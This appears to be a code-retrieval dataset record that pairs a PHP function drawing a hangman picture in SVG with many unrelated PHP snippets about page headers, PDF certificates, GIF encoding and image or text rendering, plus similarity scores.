"public function Header()\n {\n // Set the header logo.\n $this->Image('C:\\xampp\\htdocs\\Nexus\\resource\\img\\fpdf\\Nexus-logo.png', 120, 18, 40, 30);\n\n // Set the font.\n $this->AddFont('BebasNeue-Regular', '', 'BebasNeue-Regular.php');\n $this->SetFont('BebasNeue-Regular', '', 26);\n\n // Line break.\n $this->Ln(42);\n\n // Move to the right.\n $this->Cell(120);\n\n // Set page header title.\n $this->Cell(20, 3, 'NEXUS IT TRAINING CENTER', 0, 0, 'C');\n\n // Set the font.\n $this->AddFont('AsiyahScript', '', 'AsiyahScript.php');\n $this->SetFont('AsiyahScript', '', 40);\n\n // Line break.\n $this->Ln(12);\n\n // Set page header title.\n $this->Cell(259, 15, 'Certificate of Attendance', 0, 0, 'C');\n }",
"public function __Header(){\n $this->Ln(5);\n $this->SetDrawColor(160,160,160);\n $this->SetFillColor(230,230,230);\n $this->SetTextColor(100);\n $this->SetFont('Arial','B',7);\n $this->SetX(($this->w - $this->_tWidth)/2);\n foreach($this->_fields as $field)\n $this->Cell($field[\"size\"],5,$field[\"header\"],1,0,\"C\",true);\n $this->Ln();\n }",
"function xstats_getShipIcon( $race, $picturesmall, $ownerindex) {\n include ('../../inc.conf.php');\n return( '<img src=\"../../daten/'.$race.'/bilder_schiffe/'.$picturesmall.'\" height=\"24\" border=\"1\" style=\"border:1px solid '.$spielerfarbe[$ownerindex].'\">' );\n}",
"abstract protected function header();",
"private function getHeader($dialect='none'){\n\nswitch($dialect){\n\tcase 'lengadocian': $libDialect = 'occitan languedocien'; $idDialect = 'oc-lnc'; $thanks = 'Patric Sauzet'; break;\n\tcase 'gascon': $libDialect = 'occitan gascon'; $idDialect = 'oc-gsc'; $thanks = 'Maurici Romieu, Andrieu Bianchi, Florença Malcouyre'; break;\n\tcase 'provençau': $libDialect = 'occitan provençal'; $idDialect = 'oc-prv'; $thanks = 'Bernat Moulin'; break;\n} // switch\n\n\t$out = <<<EOT\n<TEI>\n <teiHeader>\n <fileDesc>\n <titleStmt>\n <title>\n verb'Òc, conjugator occitan\n </title>\n <author>\n Lo Congrès Permanent de la Lenga Occitana\n </author>\n </titleStmt>\n <sourceDesc>\n <title>\n verb'Òc, conjugator occitan\n </title>\n <author>\n Lo Congrès Permanent de la Lenga Occitana\n </author>\n <editor>\n Lo Congrès Permanent de la Lenga Occitana\n </editor>\n <date>\n 2015\n </date>\n <note>\n Version xml réalisée par Domenge Château-Annaud\n </note>\n </sourceDesc>\n <publicationStmt>\n <availability>\n Creative commons (BY SA)\n </availability>\n </publicationStmt>\n <notesStmt>\n <note>\n Remerciements : $thanks\n </note>\n </notesStmt>\n </fileDesc>\n <profileDesc>\n <langUsage>\n <language ident=\"$idDialect\">\n $libDialect\n </language>\n </langUsage>\n </profileDesc>\n </teiHeader>\n <text>\n <body>\n \nEOT;\n\treturn $out;\t\n}",
"private function getXMLHeader() {\n\t\treturn '<?xml version=\"1.0\" encoding=\"utf-8\" standalone=\"yes\" ?>' . \"\\n\";\n\t}",
"public function getStringForResponseSignature()\r\n\t{\r\n\t\treturn $this->headers[SONIC_HEADER__TARGET_API]\r\n\t\t\t\t. $this->headers[SONIC_HEADER__DATE]\r\n\t\t\t\t. $this->headers[SONIC_HEADER__PLATFORM_GID]\r\n\t\t\t\t. $this->headers[SONIC_HEADER__SOURCE_GID]\r\n\t\t\t\t. $this->headers[SONIC_HEADER__RANDOM]\r\n\t\t\t\t. $this->body;\r\n\t}",
"public function build(): string\n {\n $this->verifyBom($this->encoding, $this->description);\n $this->_handleDefaultValues();\n\n $frame = $this->encoding->getCode();\n $frame .= $this->mimeType;\n $frame .= \"\\x00\";\n $frame .= $this->pictureType;\n $frame .= $this->description;\n $frame .= $this->encoding->getDelimiter();\n $frame .= $this->pictureData;\n\n return $frame;\n }",
"public function getHeaderData() {}",
"public function formatGraphics() {\n }",
"function GIFAddHeader() {\n $cmap = 0;\n \n if (ord($this->BUF[0] {\n 10\n }) & 0x80) {\n $cmap = 3 * (2 << (ord($this->BUF[0] {\n 10\n }) & 0x07));\n \n $this->GIF.= substr($this->BUF[0], 6, 7);\n $this->GIF.= substr($this->BUF[0], 13, $cmap);\n $this->GIF.= \"!\\377\\13NETSCAPE2.0\\3\\1\" . GIFEncoder::GIFWord($this->LOP) . \"\\0\";\n }\n }",
"function fetch_header_image($image = '') {\n\n $header_data = isset($image) ? $image : get_custom_header(); // Get the header if an image is not provided\n $header_bg_image = '';\n\n if (has_header_image()) {\n $header_bg_image = 'url(' . esc_url( $header_data->url ) . ')';\n }\n\n $styles = array();\n\n if ( '' !== $header_bg_image ) {\n $styles['background-image'] = $header_bg_image;\n $styles['height'] = $header_data->height . 'px'; // So it at least shows all the banner\n }\n\n foreach ( $styles as $style => $value ) {\n echo esc_attr( $style . ': ' . $value . '; ' );\n }\n}",
"function getHeader()\n\t\t{\n\t\t\t$return = <<<EOH\n\t\t\t <html xmlns:v=\"urn:schemas-microsoft-com:vml\"\n\t\t\txmlns:o=\"urn:schemas-microsoft-com:office:office\"\n\t\t\txmlns:w=\"urn:schemas-microsoft-com:office:word\"\n\t\t\txmlns=\"http://www.w3.org/TR/REC-html40\">\n\t\t\t\n\t\t\t<head>\n\t\t\t<meta http-equiv=Content-Type content=\"text/html; charset=UTF-8\">\n\t\t\t<meta name=ProgId content=Word.Document>\n\t\t\t<meta name=Generator content=\"Microsoft Word 9\">\n\t\t\t<meta name=Originator content=\"Microsoft Word 9\">\n\t\t\t<!--[if !mso]>\n\t\t\t<style>\n\t\t\tv\\:* {behavior:url(#default#VML);}\n\t\t\to\\:* {behavior:url(#default#VML);}\n\t\t\tw\\:* {behavior:url(#default#VML);}\n\t\t\t.shape {behavior:url(#default#VML);}\n\t\t\t</style>\n\t\t\t<![endif]-->\n\t\t\t<title>$this->title</title>\n\t\t\t<!--[if gte mso 9]><xml>\n\t\t\t <w:WordDocument>\n\t\t\t <w:View>Print</w:View>\n\t\t\t <w:DoNotHyphenateCaps/>\n\t\t\t <w:PunctuationKerning/>\n\t\t\t <w:DrawingGridHorizontalSpacing>9.35 pt</w:DrawingGridHorizontalSpacing>\n\t\t\t <w:DrawingGridVerticalSpacing>9.35 pt</w:DrawingGridVerticalSpacing>\n\t\t\t </w:WordDocument>\n\t\t\t</xml><![endif]-->\n\t\t\t<style>\n\t\t\t<!--\n\t\t\t /* Font Definitions */\n\t\t\t@font-face\n\t\t\t\t{font-family:Verdana;\n\t\t\t\tpanose-1:2 11 6 4 3 5 4 4 2 4;\n\t\t\t\tmso-font-charset:0;\n\t\t\t\tmso-generic-font-family:swiss;\n\t\t\t\tmso-font-pitch:variable;\n\t\t\t\tmso-font-signature:536871559 0 0 0 415 0;}\n\t\t\t /* Style Definitions */\n\t\t\tp.MsoNormal, li.MsoNormal, div.MsoNormal\n\t\t\t\t{mso-style-parent:\"\";\n\t\t\t\tmargin:0in;\n\t\t\t\tmargin-bottom:.0001pt;\n\t\t\t\tmso-pagination:widow-orphan;\n\t\t\t\tfont-size:7.5pt;\n\t\t\t mso-bidi-font-size:8.0pt;\n\t\t\t\tfont-family:\"Verdana\";\n\t\t\t\tmso-fareast-font-family:\"Verdana\";}\n\t\t\tp.small\n\t\t\t\t{mso-style-parent:\"\";\n\t\t\t\tmargin:0in;\n\t\t\t\tmargin-bottom:.0001pt;\n\t\t\t\tmso-pagination:widow-orphan;\n\t\t\t\tfont-size:1.0pt;\n\t\t\t mso-bidi-font-size:1.0pt;\n\t\t\t\tfont-family:\"Verdana\";\n\t\t\t\tmso-fareast-font-family:\"Verdana\";}\n\t\t\t@page Section1\n\t\t\t\t{size:8.5in 11.0in;\n\t\t\t\tmargin:1.0in 1.25in 1.0in 1.25in;\n\t\t\t\tmso-header-margin:.5in;\n\t\t\t\tmso-footer-margin:.5in;\n\t\t\t\tmso-paper-source:0;}\n\t\t\tdiv.Section1\n\t\t\t\t{page:Section1;}\n\t\t\t-->\n\t\t\t</style>\n\t\t\t<!--[if gte mso 9]><xml>\n\t\t\t <o:shapedefaults v:ext=\"edit\" spidmax=\"1032\">\n\t\t\t <o:colormenu v:ext=\"edit\" strokecolor=\"none\"/>\n\t\t\t </o:shapedefaults></xml><![endif]--><!--[if gte mso 9]><xml>\n\t\t\t <o:shapelayout v:ext=\"edit\">\n\t\t\t <o:idmap v:ext=\"edit\" data=\"1\"/>\n\t\t\t </o:shapelayout></xml><![endif]-->\n\t\t\t $this->htmlHead\n\t\t\t</head>\n\t\t\t<body>\nEOH;\n\t\treturn $return;\n\t\t}",
"function getHeader() {\n return '';\n }",
"function circle_header_content() {\n\tget_template_part( 'template-parts/header-content' );\n}"
]
| [
"0.7960614",
"0.65219754",
"0.62812364",
"0.6276166",
"0.61417407",
"0.61341906",
"0.6090403",
"0.6004421",
"0.599134",
"0.5960144",
"0.59351563",
"0.59235257",
"0.5910909",
"0.5878223",
"0.5781909",
"0.57628113",
"0.5746375",
"0.57286525",
"0.57114416",
"0.5709553",
"0.5709064",
"0.5684595",
"0.568387",
"0.5676353",
"0.5647463",
"0.56399465",
"0.5627327",
"0.56227434",
"0.56193155",
"0.5603798",
"0.55991596",
"0.5587404",
"0.55871165",
"0.5567691",
"0.556326",
"0.5561327",
"0.55459076",
"0.5538822",
"0.5527817",
"0.55259883",
"0.55080897",
"0.5491089",
"0.5481921",
"0.547909",
"0.5473741",
"0.54725176",
"0.5466442",
"0.5459847",
"0.54558825",
"0.5451462",
"0.5445799",
"0.5434424",
"0.54085904",
"0.5406249",
"0.54027843",
"0.5401524",
"0.5401055",
"0.5390688",
"0.53835964",
"0.53719",
"0.5362998",
"0.5320822",
"0.53125894",
"0.5310515",
"0.53094536",
"0.52958304",
"0.5292726",
"0.5292235",
"0.5284676",
"0.5279225",
"0.52791214",
"0.52775735",
"0.52758855",
"0.52741253",
"0.52704805",
"0.5270307",
"0.52682793",
"0.526695",
"0.52665824",
"0.5263305",
"0.5260063",
"0.52596503",
"0.5258965",
"0.5246396",
"0.52233785",
"0.52169037",
"0.5211644",
"0.52086276",
"0.52044374",
"0.52006674",
"0.520058",
"0.51987237",
"0.5189879",
"0.5187881",
"0.51796865",
"0.5178037",
"0.5176689",
"0.5173191",
"0.51693314",
"0.51692975",
"0.51685673"
]
| 0.0 | -1 |
end function DrawPartsOfPicture Create a part of the picture and return as string | public function GetKullen() {
$html = <<<EOD
<!--HÄR KOMMER KULLEN -->
<g id="kullen">
<path fill="none" stroke="#41281B" stroke-miterlimit="10" d="M230.454,219.226c0-35.229-47.579-63.737-106.379-63.737h4.04
c-66.987,0-121.191,28.508-121.191,63.737"/>
<line fill="none" stroke="#00632E" stroke-miterlimit="10" x1="9.051" y1="207.29" x2="3.333" y2="198.804"/>
<line fill="none" stroke="#00632E" stroke-miterlimit="10" x1="13.208" y1="203.047" x2="19.941" y2="183.991"/>
<line fill="none" stroke="#00632E" stroke-miterlimit="10" x1="22.186" y1="198.804" x2="25.594" y2="185.206"/>
<line fill="none" stroke="#00632E" stroke-miterlimit="10" x1="31.611" y1="192.004" x2="32.06" y2="175.687"/>
<line fill="none" stroke="#00632E" stroke-miterlimit="10" x1="41.486" y1="185.206" x2="41.486" y2="170.525"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="16.574" y1="207.29" x2="13.208" y2="198.899"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="25.594" y1="190.274" x2="25.594" y2="185.206"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="37.895" y1="187.74" x2="38.344" y2="170.525"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="13.208" y1="211.372" x2="9.051" y2="198.899"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="50.912" y1="183.846" x2="50.912" y2="164.241"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="55.401" y1="177.865" x2="68.417" y2="155.488"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="64.377" y1="175.687" x2="75.15" y2="164.241"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="79.639" y1="170.525" x2="87.089" y2="159.229"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="64.377" y1="187.357" x2="61.909" y2="177.865"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="59.889" y1="187.74" x2="58.093" y2="182.611"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="44.628" y1="193.519" x2="44.179" y2="183.991"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="35.202" y1="197.008" x2="33.855" y2="192.004"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="31.611" y1="203.047" x2="29.367" y2="198.899"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="25.594" y1="207.29" x2="23.89" y2="203.047"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="81.883" y1="185.206" x2="83.364" y2="179.133"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="97.144" y1="166.677" x2="98.49" y2="164.241"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="101.184" y1="164.241" x2="103.938" y2="156.755"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="89.514" y1="164.241" x2="94.451" y2="152.571"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="106.121" y1="160.499" x2="108.366" y2="152.571"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="75.15" y1="166.677" x2="81.883" y2="156.755"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="87.089" y1="179.133" x2="87.089" y2="175.687"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="75.15" y1="182.611" x2="75.15" y2="177.41"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="94.451" y1="177.41" x2="97.144" y2="174.043"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="129.91" y1="164.241" x2="136.867" y2="156.755"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="136.867" y1="166.677" x2="146.068" y2="161.717"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="143.825" y1="170.525" x2="153.7" y2="161.717"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="164.176" y1="164.241" x2="165.563" y2="156.536"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="136.867" y1="156.755" x2="136.867" y2="152.571"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="160.091" y1="159.229" x2="160.433" y2="155.488"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="167.896" y1="174.043" x2="173.492" y2="162.763"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="176.762" y1="177.41" x2="184.32" y2="166.677"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="146.068" y1="175.727" x2="153.7" y2="169.965"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="114.2" y1="197.008" x2="115.996" y2="185.206"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="91.983" y1="192.004" x2="97.817" y2="183.991"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="69.764" y1="198.804" x2="75.15" y2="193.519"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="102.561" y1="196.162" x2="98.49" y2="188.755"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="69.764" y1="198.804" x2="64.377" y2="191.106"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="50.912" y1="198.804" x2="55.401" y2="188.755"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="41.486" y1="205.136" x2="44.628" y2="198.804"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="72.457" y1="188.755" x2="75.15" y2="180.011"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="87.089" y1="192.004" x2="91.983" y2="175.687"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="124.075" y1="185.177" x2="124.075" y2="182.169"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="133.389" y1="185.206" x2="133.389" y2="174.043"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="148.763" y1="185.177" x2="148.763" y2="179.133"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="164.176" y1="182.154" x2="176.762" y2="174.043"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="179.51" y1="190.274" x2="189.384" y2="180.011"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="195.219" y1="194.505" x2="200.829" y2="188.755"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="208.909" y1="205.136" x2="214.969" y2="198.804"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="195.219" y1="182.611" x2="199.268" y2="175.687"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="202.485" y1="179.133" x2="208.909" y2="174.043"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="211.939" y1="187.74" x2="214.969" y2="183.991"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="220.58" y1="198.804" x2="226.413" y2="191.631"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="224.395" y1="205.169" x2="230.454" y2="200.974"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="162.228" y1="203.047" x2="164.176" y2="196.162"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="143.825" y1="199.604" x2="146.068" y2="192.004"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="129.91" y1="196.162" x2="129.91" y2="187.74"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="164.176" y1="188.755" x2="153.7" y2="183.672"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="180.542" y1="199.604" x2="180.542" y2="195.804"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="195.219" y1="203.095" x2="195.219" y2="199.604"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="211.939" y1="211.372" x2="220.58" y2="207.29"/>
<line fill="none" stroke="#41A62A" stroke-miterlimit="10" x1="227.425" y1="213.166" x2="238.861" y2="207.29"/>
</g>
EOD;
return $html;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function DrawPartsOfPicture($aNumberOfParts=9) {\r\n \r\n $html = $this->GetSvgHeader();\r\n switch ($aNumberOfParts) { \r\n case 0:\r\n return;\r\n break;\r\n case 1:\r\n $html .= $this->GetKullen();\r\n break;\r\n case 2:\r\n $html .= $this->GetKullen();\r\n $html .= $this->GetStolpen();\r\n break;\r\n case 3:\r\n $html .= $this->GetKullen();\r\n $html .= $this->GetStolpen();\r\n $html .= $this->GetRepet();\r\n break;\r\n case 4:\r\n $html .= $this->GetKullen();\r\n $html .= $this->GetStolpen();\r\n $html .= $this->GetRepet();\r\n $html .= $this->GetHuvud();\r\n break;\r\n case 5:\r\n $html .= $this->GetKullen();\r\n $html .= $this->GetStolpen();\r\n $html .= $this->GetRepet();\r\n $html .= $this->GetHuvud(); \r\n $html .= $this->GetKroppen();\r\n break;\r\n case 6:\r\n $html .= $this->GetKullen();\r\n $html .= $this->GetStolpen();\r\n $html .= $this->GetRepet();\r\n $html .= $this->GetHuvud(); \r\n $html .= $this->GetKroppen();\r\n $html .= $this->GetHogerArm();\r\n break;\r\n case 7:\r\n $html .= $this->GetKullen();\r\n $html .= $this->GetStolpen();\r\n $html .= $this->GetRepet();\r\n $html .= $this->GetHuvud(); \r\n $html .= $this->GetKroppen();\r\n $html .= $this->GetHogerArm();\r\n $html .= $this->GetVansterArm();\r\n break;\r\n case 8:\r\n $html .= $this->GetKullen();\r\n $html .= $this->GetStolpen();\r\n $html .= $this->GetRepet();\r\n $html .= $this->GetHuvud(); \r\n $html .= $this->GetKroppen();\r\n $html .= $this->GetHogerArm();\r\n $html .= $this->GetVansterArm();\r\n $html .= $this->GetHogerBen();\r\n break;\r\n case 9:\r\n $html .= $this->GetKullen();\r\n $html .= $this->GetStolpen();\r\n $html .= $this->GetRepet();\r\n $html .= $this->GetHuvud(); \r\n $html .= $this->GetKroppen();\r\n $html .= $this->GetHogerArm();\r\n $html .= $this->GetVansterArm();\r\n $html .= $this->GetHogerBen();\r\n $html .= $this->GetVansterBen(); \r\n break;\r\n }//end switch\r\n \r\n $html .= \"</svg>\";\r\n\r\n return $html; \r\n }",
"public function DrawPicture() { \r\n\r\n $hogerarm = $this->GetHogerArm();\r\n $vansterarm = $this->GetVansterArm();\r\n $vansterben = $this->GetVansterBen();\r\n $hogerben = $this->GetHogerBen();\r\n $kroppen = $this->GetKroppen();\r\n $huvud = $this->GetHuvud();\r\n $repet = $this->GetRepet();\r\n $stolpen = $this->GetStolpen();\r\n $kullen = $this->GetKullen();\r\n $header = $this->GetSvgHeader();\r\n\r\n $html = <<<EOD\r\n {$header}\r\n {$kullen}\r\n {$stolpen}\r\n {$kroppen} \r\n {$hogerarm} \r\n {$vansterarm} \r\n {$vansterben} \r\n {$hogerben}\t\r\n {$repet} \t\t\r\n {$huvud}\r\n </svg>\r\nEOD;\r\n\r\n return $html;\r\n }",
"function display_graphic($piece)\n{\n}",
"function generateChoicePicture($idPicture, $idHidden, $picture = \"\", $extra = \"\") {\n if ($extra != \"\")\n $danhchoid = $extra;\n else\n $danhchoid = $idHidden;\n $str = \"\";\n $str .= \"<table border='0' cellpadding='0' cellspacing='0'>\n\n\n\n\n\n\n\n\t\t\t\t\t\t <tr>\n\n\n\n\n\n\n\n\t\t\t\t\t\t\t<td width='20%'>\";\n $mangExt = pathinfo($picture);\n $ext = strtolower($mangExt['extension']);\n $str .= \"<div id='pro_photo_swf'>\";\n if ($ext == \"swf\")\n $str .= \"<img style='border:1px solid #333' name='\" . $idPicture . \"' id='\" . $idPicture . \"' src='image.php/image.jpg?image=\" . defaultPicture . \"&width=50&cropratio=1:1' border='0'>\";\n else\n $str .= \"<img style='border:1px solid #333' name='\" . $idPicture . \"' id='\" . $idPicture . \"' src='image.php/image.jpg?image=\" . $picture . \"&width=50&cropratio=1:1' border='0' />\";\n $str .= \"</div>\";\n $str .= \"\n\n\n\n\n\n\n\n\t\t\t\t</td>\n\n\n\n\n\n\n\n\t\t\t\t<td valign='bottom' style='padding-left:5px;'>\n\n\n\n\n\n\n\n\t\t\t\t\t<input name='btn1' type='button' onClick=\\\"modelessDialogShow('\" . Editor . \"ffilter=image&object1=$danhchoid&object2=$idPicture&type=1','auto','auto');\\\" id='btn1' value='Browse...' />\n\n\n\n\n\n\n\n\t\t\t\t</td>\n\n\n\n\n\n\n\n\t\t\t\t</tr>\n\n\n\n\n\n\n\n\t\t\t\t<tr>\n\n\n\n\n\n\n\n\t\t\t\t <td colspan='2' style='padding-top:5px;'>\n\n\n\n\n\n\n\n\t\t\t\t <input style='margin-left:0px' id='chk_path$danhchoid' name='chk_path$idHidden' type='checkbox' onClick=\\\"showPath(this.checked,'\" . $danhchoid . \"');\\\" value='1' />Current path<br>\n\n\n\n\n\n\n\n\t\t\t\t <input onblur=\\\"closePath(this,'chk_path\" . $danhchoid . \"');\\\" name='\" . $idHidden . \"' id='\" . $danhchoid . \"' style='width:200px;display:none' type='text' \" . $this->focusText() . \" class='nd2' value='\" . $picture . \"' />\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\t\t\t\t </td>\n\n\n\n\n\n\n\n\t\t\t\t</tr>\n\n\n\n\n\n\n\n\t\t\t\t</table>\";\n return $str;\n }",
"function getImageStringFromFile($xpmfile) {\r\n $file = fopen($xpmfile,\"r\");\r\n $content = fread($file, filesize($xpmfile));\r\n // remove all \" and CR\r\n $content = str_replace(array(\"\\\"\",\"\\n\", \"\\r\"), \"\", $content);\r\n // find position of { and of } and substr between these 2\r\n $start = strpos($content, \"{\")+1; // to remove the {\r\n $stop = strpos($content, \"}\");\r\n $imgdescr = substr($content, $start, $stop - $start);\r\n // explode\r\n $xpm = explode(\",\", $imgdescr);\r\n \r\n //print_r($xpm);\r\n \r\n return getImageString($xpm);\r\n}",
"function draw_pic ($tab)\n\t{\n\t\t$image = imagecreate($this->pic_width, $this->pic_height);\n\n\t\t// allocation des couleurs\n\t\t$white = imagecolorallocate($image, 255, 255, 255);\n//\t\t$black = imagecolorallocate($image, 0, 0, 0);\t\t\n\t\t$black = imagecolorallocate($image, 50, 58, 77);\t\t\n $grey = imagecolorallocate($image, 84, 96, 117);\n\t\t$red = imagecolorallocate($image, 255, 0, 0);\n\t\t$blue = imagecolorallocate($image, 199, 205, 209);\n\t\t$light_grey = imagecolorallocate($image, 211, 217, 232);\n\t\t$title_color = $black;\n\t\t$shadow_color = $black;\n\n\t\t// calcul de l'echelle a utiliser pour le repere du graphique\n\t\t$this->get_xy($tab);\n\t\t$this->calc_scale();\n\n\t\t// affichage du repere\n\t\timageline($image, 30, 30, 30, $this->pic_height - 60, $black);\n\t\timageline($image, 25, $this->pic_height - 60, $this->pic_width - 30, $this->pic_height - 60,$black);\n\n\t\t// affichage des fleches\n\t\timagefilledpolygon($image, array(26, 30, 34, 30, 30, 22), 3, $black);\n//\t\timagefilledpolygon($image, array($this->pic_width - 30, $this->pic_height - 64, $this->pic_width - 30, $this->pic_height - 56, $this->pic_width - 23, $this->pic_height - 60), 3, $black);\n\n\t\t// affichage de l'echelle des ordonnees et des abcisses\n\t\t$this->draw_y($image, $black, $grey, $light_grey, $tab);\n\t\t$this->draw_x($image, $black, $grey, $tab, $title_color);\n\n\t\t// affichage de l'histogram et de l'echelle des abcisses\n\t\t$this->draw_histo($image, $tab, $blue, $black, $shadow_color);\n\n\t\t//creation et affichage de l'image finale\n\t\timagegif($image);\n\t}",
"function print_image($path){\n $image = new Imagick();\n $image->readImage(_LOCAL_.$path);\n $height = $image->getImageHeight();\n $width = $image->getImageWidth();\n\n $canvas = new Imagick();\n $canvas->newImage($width,$height,new ImagickPixel('white'));\n $canvas->setImageFormat('png');\n $canvas->compositeImage($image,imagick::COMPOSITE_OVER, 0, 0);\n\n header('Content-type: image/png');\n echo $canvas;\n $image->destroy();\n $canvas->destroy();\n}",
"function frenderN($img,$font,$x,$y,$l,$text){\n $text.='';\n if(strlen($text)<$l) $x+=($l-strlen($text))*8;\n for($i=0;$i<strlen($text);$i++)\n ImageCopy($img,$font,$i*5+$x,$y,(ord($text[$i])%16)*8,floor(ord($text[$i])/16)*8,6,8);\n}",
"protected function generateGraphic() {}",
"function\nwidget_fontiles ($image_url, $image_width, $image_height, $text, $file_cols = 16, $file_rows = 16)\n{\n $char_w = $image_width / $file_cols; \n $char_h = $image_height / $file_rows;\n\n $p = '';\n for ($i = 0; $i < strlen ($text); $i++)\n {\n $c = ord ($text[$i]);\n\n $left = $c % $file_cols;\n $left *= $char_w;\n\n $top = (int) ($c / $file_rows);\n $top *= $char_h;\n\n $right = $left + $char_w;\n $bottom = $top + $char_h;\n\n $pos_left = $i * $char_w - $left;\n $pos_top = 0 - $top; \n\n $p .= '<img src=\"'.$image_url.'\" style=\"'\n .'position:absolute;'\n .'clip:rect('.$top.'px,'.$right.'px,'.$bottom.'px,'.$left.'px);'\n .'top:'.$pos_top.'px;left:'.$pos_left.'px;'\n .'width:'.$image_width.';height:'.$image_height.';'\n .'\">'.\"\\n\";\n }\n\n return $p;\n}",
"function print_photo_text($table) {\n\n\t$html = \"<div class=\\\"div_class\\\">\\n\";\n\t$html .= \"\\t<h3>\" . $table['titre'] . \"</h3>\\n\";\n\t$html .= \"\\t<div class=\\\"photo_text\\\">\\n\";\n\t$html .= \"\\t\\t<img src=\\\"Images/\" . $table['photo'] . \"\\\">\";\n\t$html .= \"\\t\\t<p>\" . $table['texte'] . \"</p>\\n\";\n\t$html .= \"\\t</div>\\n\";\n\t$html .= \"</div>\\n\";\n\n\treturn $html;\n}",
"protected function render($bc, $im, $color, $half, $box)\n {\n $bc = str_split($bc);\n for ($k = 0;$k < 4;$k++) {\n $x = $k % 2 ? $half : $half - $box;\n $y = $k / 2 < 1 ? $half : $half - $box;\n $u = $k % 2 ? $box : -$box;\n $v = $k / 2 < 1 ? $box : -$box;\n for ($i = 0;$i < 16;$i++) {\n if ($bc[$i] == \"1\") {\n imagefilledrectangle(\n $im, $x, $y, $x + $box - 1, $y + $box - 1, $color\n );\n }\n $x += $u;\n if ($x >= $this->settings->size || $x < 0) {\n $x = $k % 2 ? $half : $half - $box;\n $y += $v;\n }\n }\n }\n //imagefilledrectangle($im,0,$size-11,$size-1,$size,$color);\n }",
"function DrawOwnerText() {\n $iBlack = imagecolorallocate($this->oImage, 0, 0, 0);\n // get height of selected font\n $iOwnerTextHeight = imagefontheight(2);\n // calculate overall height\n $iLineHeight = $this->iHeight - $iOwnerTextHeight - 4;\n \n // draw line above text to separate from CAPTCHA\n imageline($this->oImage, 0, $iLineHeight, $this->iWidth, $iLineHeight, $iBlack);\n \n // write owner text\n imagestring($this->oImage, 2, 3, $this->iHeight - $iOwnerTextHeight - 3, $this->sOwnerText, $iBlack);\n \n // reduce available height for drawing CAPTCHA\n $this->iHeight = $this->iHeight - $iOwnerTextHeight - 5;\n }",
